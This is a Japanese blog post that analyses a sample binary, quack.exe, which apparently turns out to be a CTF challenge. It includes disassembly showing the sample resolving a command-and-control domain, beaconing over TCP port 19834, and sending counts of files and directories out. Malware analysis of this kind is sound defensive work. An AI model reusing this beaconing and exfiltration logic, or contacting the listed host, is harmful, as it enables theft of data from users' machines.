謎のファイルquack.exeを解析してみた(オチあり)

謎のファイルquack.exeを解析してみました。このファイルは2020-02-01 22:50:07にVirustotalにアップロードされました。
MD5ハッシュ値はb4ee6b087317fb52df3b2656c9c2b760

※解析はFLARE VM上で行いました。
※逆アセンブル内の変数名や関数名は一部解析に当たり、わかりやすいようにデフォルトのものから変更しています。

ざっとファイルを眺めてみたところ以下のような挙動をするんじゃないかと推測

- ドメイン名 nmdfthufjskdnbfwhejklacms[.]xyz と通信する
- ディレクトリやファイルの一覧を送信する
- "I Say Quack" というメッセージボックスを生成する

ファイルを実行したところドメイン nmdfthufjskdnbfwhejklacms[.]xyzを名前解決した後、TCP ポート19834宛に通信することを確認。
この通信は必ずペイロードが0x40から始まっており、なんらかのビーコンのように見受けられる。
Screen Shot 2020-02-16_AM


quack_:00401077 68 31 13 40 00          push    offset name     ; "nmdfthufjskdnbfwhejklacms.xyz"
quack_:0040107C 68 01 16 40 00          push    (offset FindFileData+13Eh) ; lpWSAData
quack_:00401081 68 02 02 00 00          push    202h            ; wVersionRequested
quack_:00401086 FF 15 74 21 40 00       call    ds:WSAStartup
quack_:0040108C FF 15 70 21 40 00       call    ds:gethostbyname
---
quack_:0040109A 8B 40 0C                mov     eax, [eax+0Ch]
quack_:0040109D 8B 00                   mov     eax, [eax]
quack_:0040109F 8B 00                   mov     eax, [eax]
quack_:004010A1 A3 08 10 40 00          mov     dword ptr port_19834.sa_data+2, eax
---
quack_:004010CD E8 88 02 00 00          call    createSocketNconnect_40135A
quack_:004010D2 0F B6 0D C3 13 40 00    movzx   ecx, byte_4013C3
quack_:004010D9 83 C1 02                add     ecx, 2
quack_:004010DC C6 05 C2 13 40 00 40    mov     buf, 40h        ; @
quack_:004010E3 6A 00                   push    0               ; flags
quack_:004010E5 51                      push    ecx             ; len
quack_:004010E6 68 C2 13 40 00          push    offset buf      ; buf
quack_:004010EB FF 35 00 10 40 00       push    s               ; s
quack_:004010F1 FF 15 80 21 40 00       call    ds:send
quack_:004010F7 BF 91 17 40 00          mov     edi, offset byte_401791
quack_:004010FC 0F B6 0D C3 13 40 00    movzx   ecx, byte_4013C3 ; len
quack_:00401103 E8 77 02 00 00          call    recv_40137F
quack_:00401108 83 EC 14                sub     esp, 14h
quack_:0040110B FF 15 88 21 40 00       call    ds:closesocket

しかし、パケットキャプチャーを眺めてみたところ、ディレクトリやファイルの一覧を送信している様子がない。
もう一度、コードを眺めてみると、FindFirstFileAの引数にアスタリスクが渡されている。Microsoftのドキュメントによると引数にワイルドカードが指定された場合、ユーザーはルートおよびすべてのサブディレクトリのアクセス権限を持っていないとダメらしい。


quack_:0040112E C7 44 24 F8 75 10 40 00 mov     [esp+lpFileName], offset FileName ; "*"
quack_:00401136 68 C3 14 40 00          push    offset FindFileData ; lpFindFileData
quack_:0040113B 83 EC 04                sub     esp, 4
quack_:0040113E FF 15 A4 20 40 00       call    ds:FindFirstFileA
quack_:00401144 40                      inc     eax
quack_:00401145 0F 84 B5 01 00 00       jz      exit_401300
---
quack_:0040114B 48                      dec     eax
quack_:0040114C 89 44 24 F8             mov     [esp+lpFileName], eax ; hFindFile
quack_:00401150 BB 00 00 00 00          mov     ebx, 0
---
quack_:00401155                         loc_401155:
quack_:00401155 43                      inc     ebx
quack_:00401156 83 EC 08                sub     esp, 8
quack_:00401159 FF 15 A8 20 40 00       call    ds:FindNextFileA
quack_:0040115F 85 C0                   test    eax, eax
quack_:00401161 75 F2                   jnz     short loc_401155
---
quack_:00401163 E8 F2 01 00 00          call    createSocketNconnect_40135A
quack_:00401168 C6 05 C2 13 40 00 4C    mov     buf, 4Ch        ; L
quack_:0040116F 88 1D C3 13 40 00       mov     byte_4013C3, bl
quack_:00401175 A1 00 10 40 00          mov     eax, s
quack_:0040117A 89 44 24 F0             mov     [esp+s], eax    ; s
quack_:0040117E C7 44 24 F4 C2 13 40 00 mov     [esp+buf], offset buf ; buf
quack_:00401186 68 00 00 00 00          push    0               ; flags
quack_:0040118B 68 02 00 00 00          push    2               ; len
quack_:00401190 83 EC 08                sub     esp, 8
quack_:00401193 FF 15 80 21 40 00       call    ds:send
quack_:00401199 C7 44 24 F8 75 10 40 00 mov     [esp+lpFileName], offset FileName ; "*"
quack_:004011A1 68 C3 14 40 00          push    offset FindFileData ; lpFindFileData
quack_:004011A6 83 EC 04                sub     esp, 4
quack_:004011A9 FF 15 A4 20 40 00       call    ds:FindFirstFileA
quack_:004011AF 40                      inc     eax
quack_:004011B0 0F 84 4A 01 00 00       jz      exit_401300

ファイルを管理者権限で実行したところ、ちゃんとディレクトリやファイルの一覧を送信していた。
Screen Shot 2020-02-1602_AM

ここまで解析して、ひとまずquack.exeはインストール先のディレクトリやファイル一覧をnmdfthufjskdnbfwhejklacms[.]xyz:19834に送信するInfostealerっぽいと判断。

で、ドメイン名 nmdfthufjskdnbfwhejklacms[.]xyzをググってみたところ、なんとquack.exeはCTF用のバイナリファイルであることが判明しました。:(

以上。

Leave a Reply

Your email address will not be published. Required fields are marked *